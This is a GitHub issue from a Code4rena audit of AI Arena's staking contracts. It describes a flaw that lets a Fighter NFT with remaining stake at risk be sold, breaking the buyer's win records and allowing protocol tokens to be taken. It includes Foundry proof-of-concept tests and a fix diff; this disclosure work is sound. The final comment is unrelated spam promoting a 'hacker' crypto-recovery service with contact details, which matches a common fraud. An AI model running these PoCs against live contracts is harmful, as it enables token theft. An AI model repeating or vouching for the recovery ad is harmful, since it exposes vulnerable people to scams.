search

code-423n4 / 2024-02-ai-arena-findings

4 stars 3 forks source link

NFTs can be transferred even if StakeAtRisk remains, so the user's win cannot be recorded on the chain due to underflow, and can recover past losses that can't be recovered(steal protocol's token) #137

Open c4-bot-1 opened 9 months ago

c4-bot-1 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L285-L286 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L495-L496

Vulnerability details

Impact

Cannot record a user's victory on-chain, and it may be possible to recover past losses(which should impossible).

Proof of Concept

If you lose in a game, _addResultPoints is called, and the staked tokens move to the StakeAtRisk.

function _addResultPoints(
    uint8 battleResult, 
    uint256 tokenId, 
    uint256 eloFactor, 
    uint256 mergingPortion,
    address fighterOwner
) 
    private 
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
    uint256 points = 0;

    /// Check how many NRNs the fighter has at risk
    stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
    ...

    /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@>  curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
    if (battleResult == 0) {
        /// If the user won the match
        ...
    } else if (battleResult == 2) {
        /// If the user lost the match

        /// Do not allow users to lose more NRNs than they have in their staking pool
        if (curStakeAtRisk > amountStaked[tokenId]) {
@>          curStakeAtRisk = amountStaked[tokenId];
        }
        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            ...
        } else {
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost
@>          bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
            if (success) {
@>              _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
@>              amountStaked[tokenId] -= curStakeAtRisk;
            }
        }
    }
}

If a Fighter NFT has NRN tokens staked, that Fighter NFT is locked and cannot be transfered. When the tokens are unstaked and the remaining amountStaked[tokenId] becomes 0, the Fighter NFT is unlocked and it can be transfered. However, it does not check whether there are still tokens in the StakeAtRisk of the Fighter NFT.

function unstakeNRN(uint256 amount, uint256 tokenId) external {
    require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
    if (amount > amountStaked[tokenId]) {
@>      amount = amountStaked[tokenId];
    }
    amountStaked[tokenId] -= amount;
    globalStakedAmount -= amount;
    stakingFactor[tokenId] = _getStakingFactor(
        tokenId, 
        _stakeAtRiskInstance.getStakeAtRisk(tokenId)
    );
    _calculatedStakingFactor[tokenId][roundId] = true;
    hasUnstaked[tokenId][roundId] = true;
    bool success = _neuronInstance.transfer(msg.sender, amount);
    if (success) {
        if (amountStaked[tokenId] == 0) {
@>          _fighterFarmInstance.updateFighterStaking(tokenId, false);
        }
        emit Unstaked(msg.sender, amount);
    }
}

Unstaked Fighter NFTs can now be traded on the secondary market. Suppose another user buys this Fighter NFT with remaining StakeAtRisk.

Normally, if you win a game, you can call reclaimNRN to get the tokens back from StakeAtRisk. 

function _addResultPoints(
    uint8 battleResult, 
    uint256 tokenId, 
    uint256 eloFactor, 
    uint256 mergingPortion,
    address fighterOwner
) 
    private 
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
    uint256 points = 0;

    /// Check how many NRNs the fighter has at risk
@>  stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

    ...
    /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@>  curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
    if (battleResult == 0) {
        /// If the user won the match
        ...

        /// Do not allow users to reclaim more NRNs than they have at risk
        if (curStakeAtRisk > stakeAtRisk) {
@>          curStakeAtRisk = stakeAtRisk;
        }

        /// If the user has stake-at-risk for their fighter, reclaim a portion
        /// Reclaiming stake-at-risk puts the NRN back into their staking pool
@>      if (curStakeAtRisk > 0) {
@>          _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
            amountStaked[tokenId] += curStakeAtRisk;
        }
        ...
    } else if (battleResult == 2) {
        ...
    }
}

However, if a new user becomes the owner of the Fighter NFT, it does not work as intended.

The _addResultPoints might revert due to the underflow at reclaimNRN's amountLost[fighterOwner] -= nrnToReclaim. Therefore, the new owner cannot record a victory on-chain with the purchased NFT until the end of this round.

function getStakeAtRisk(uint256 fighterId) external view returns(uint256) {
@>  return stakeAtRisk[roundId][fighterId];
}

function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
    require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
    require(
        stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
        "Fighter does not have enough stake at risk"
    );

    bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
    if (success) {
        stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
        totalStakeAtRisk[roundId] -= nrnToReclaim;
@>      amountLost[fighterOwner] -= nrnToReclaim;
        emit ReclaimedStake(fighterId, nrnToReclaim);
    }
}

Even if the new owner already has another NFT and has a sufficient amount of amountLost[fighterOwner], there is a problem.

There is a problem even if the user owns a sufficient amount of amountLost[fighterOwner] and does not have stakeAtRisk of another NFT in the current round. In this case, the user can steal the protocol's token.

This is PoC. You can add it to StakeAtRisk.t.sol and run it.

function testPoC1() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);

    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
    _mintFromMergingPool(seller);
    uint256 tokenId = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // loses battle
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);

    // seller unstake and sell NFT to buyer
    vm.startPrank(seller);
    _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
    _fighterFarmContract.transferFrom(seller, buyer, tokenId);
    vm.stopPrank();

    // The buyer win battle but cannot write at onchain
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);

}

function testPoC2() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);

    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
    _mintFromMergingPool(seller);
    uint256 tokenId = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // loses battle
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);

    // seller unstake and sell NFT to buyer
    vm.startPrank(seller);
    _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
    _fighterFarmContract.transferFrom(seller, buyer, tokenId);
    vm.stopPrank();

    // The buyer have new NFT and loses with it
    uint256 stakeAmount_buyer = 3_500 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000;

    _mintFromMergingPool(buyer);
    uint256 tokenId_buyer = 1;
    assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);

    _fundUserWith4kNeuronByTreasury(buyer);
    vm.prank(buyer);
    _rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer);
    assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer);

    // buyer loses with tokenId_buyer
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer);
    assertGt(expectedStakeAtRiskAmount_buyer, expectedStakeAtRiskAmount, "buyer has more StakeAtRisk");

    // buyer win with bought NFT (tokenId 0)
    vm.startPrank(address(_GAME_SERVER_ADDRESS));
    for(uint256 i = 0; i < 1000; i++){
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
    }
    vm.stopPrank();

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 0)
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer); // tokenId_buyer stakeAtRisk remains
    assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount_buyer - expectedStakeAtRiskAmount, "remain StakeAtRisk");

    // the remain StakeAtRisk cannot be reclaimed even if buyer win with tokenId_buyer(token 1)
    // and the win result of token 1 cannot be saved at onchain
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 0, 1500, false);
}

function testPoC3() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);

    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;

    // The buyer have new NFT and loses with it
    uint256 stakeAmount_buyer = 300 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000;

    _mintFromMergingPool(buyer);
    uint256 tokenId_buyer = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);

    _fundUserWith4kNeuronByTreasury(buyer);
    vm.prank(buyer);
    _rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer);
    assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer);

    // buyer loses with tokenId_buyer
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer);
    assertGt(expectedStakeAtRiskAmount, expectedStakeAtRiskAmount_buyer, "seller's token has more StakeAtRisk");

    // round 0 passed
    // tokenId_buyer's round 0 StakeAtRisk is reset
    vm.prank(address(_rankedBattleContract));
    _stakeAtRiskContract.setNewRound(1);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);

    // seller mint token, lose battle and sell the NFT
    _mintFromMergingPool(seller);
    uint256 tokenId = 1;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // loses battle
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount);

    // seller unstake and sell NFT to buyer
    vm.startPrank(seller);
    _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
    _fighterFarmContract.transferFrom(seller, buyer, tokenId);
    vm.stopPrank();

    // buyer win with bought NFT (tokenId 0)
    vm.startPrank(address(_GAME_SERVER_ADDRESS));
    for(uint256 i = 0; i < 100; i++){
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
    }
    vm.stopPrank();

    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount - expectedStakeAtRiskAmount_buyer); // Reclaimed all stakeAtRisk of bought NFT(token 1)
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);
    assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost");

    // and the win result of token 1 cannot be saved at onchain anymore
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);

}

Tools Used

Manual Review

Recommended Mitigation Steps

Tokens with a remaining StakeAtRisk should not be allowed to be exchanged.

function unstakeNRN(uint256 amount, uint256 tokenId) external {
    require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
    if (amount > amountStaked[tokenId]) {
        amount = amountStaked[tokenId];
    }
    amountStaked[tokenId] -= amount;
    globalStakedAmount -= amount;
    stakingFactor[tokenId] = _getStakingFactor(
        tokenId, 
        _stakeAtRiskInstance.getStakeAtRisk(tokenId)
    );
    _calculatedStakingFactor[tokenId][roundId] = true;
    hasUnstaked[tokenId][roundId] = true;
    bool success = _neuronInstance.transfer(msg.sender, amount);
    if (success) {
-       if (amountStaked[tokenId] == 0) {
+       if (amountStaked[tokenId] == 0 && _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0) {
            _fighterFarmInstance.updateFighterStaking(tokenId, false);
        }
        emit Unstaked(msg.sender, amount);
    }
}

Assessed type

Invalid Validation

c4-pre-sort commented 8 months ago

raymondfam marked the issue as duplicate of #1641

c4-judge commented 8 months ago

HickupHH3 changed the severity to 2 (Med Risk)

c4-judge commented 8 months ago

HickupHH3 changed the severity to 3 (High Risk)

c4-judge commented 8 months ago

HickupHH3 changed the severity to 2 (Med Risk)

c4-judge commented 8 months ago

HickupHH3 marked the issue as satisfactory

c4-judge commented 8 months ago

HickupHH3 marked the issue as selected for report

HickupHH3 commented 8 months ago

1795 was also a strong contender for best report. I found this one to be a little more succinct in explanation.

Have commented on this vulnerability in the initial primary issue #1641.

c4-sponsor commented 8 months ago

brandinho (sponsor) confirmed

SonnyCastro commented 8 months ago

Mitigated here

Lynnalexanderr8 commented 1 week ago

A few months ago, I made what felt like the worst mistake of my life, I lost access to my Bitcoin wallet containing a staggering $500,000 worth of BTC. Yes, you heard that right: half a million dollars! This wasn’t just an amount of money; it was my life savings, my retirement fund, and my secret stash for that dream vacation to a tropical island, goodbye, piña coladas! The stress was unbearable, and my sleep schedule? Well, let’s just say I was starting to resemble a zombie auditioning for a horror movie. I was too ashamed to tell my family. I mean, who wants to explain to their parents that their golden goose turned into a rusty old chicken? Instead, I confided in a close friend, who immediately recommended ADRIAN LAMO HACKER. He’d heard about them through a colleague who had experienced a similar disaster. At first, I was skeptical—after all, I had the same faith in my old flip phone’s battery life during a three-hour movie marathon. But desperate times call for desperate measures, so I decided to give them a shot. When I reached out to ADRIAN LAMO HACKER Via email: Adrianlamo@consultant.com/ WhatsApp: ‪+1 (909) 739‑0269‬/ Telegram username: @ADRIANLAMOHACKERTECH, I was pleasantly surprised by their professionalism. They didn’t promise me the moon or that I’d be sipping cocktails in the Bahamas by sunset. Instead, they assured me they would do their best, which, let’s be honest, was way more reassuring than my uncle’s “It’ll all work out” mantra during family gatherings. Their calm approach gave me hope, even when I was pretty sure my Bitcoin had taken an extended vacation without me. Throughout the recovery process, they kept me updated at every turn. I felt like I was in a reality show, except the only drama was my anxiety levels and my ever-growing collection of stress snacks. Finally, after a few nail-biting days that felt like years in a time loop, I got the message I had been praying for—they had recovered my wallet! When I logged in and saw my balance fully restored, I broke down in tears—happy tears, mind you, not the kind you shed when you accidentally step on Lego. ADRIAN LAMO HACKER didn’t just recover my funds; they saved my sanity, my future, and my tropical vacation plans. If you ever find yourself in a similar situation, trust me: these folks know what they’re doing. They’ll have you back in control faster than you can say, “Where’s my Bitcoin?!”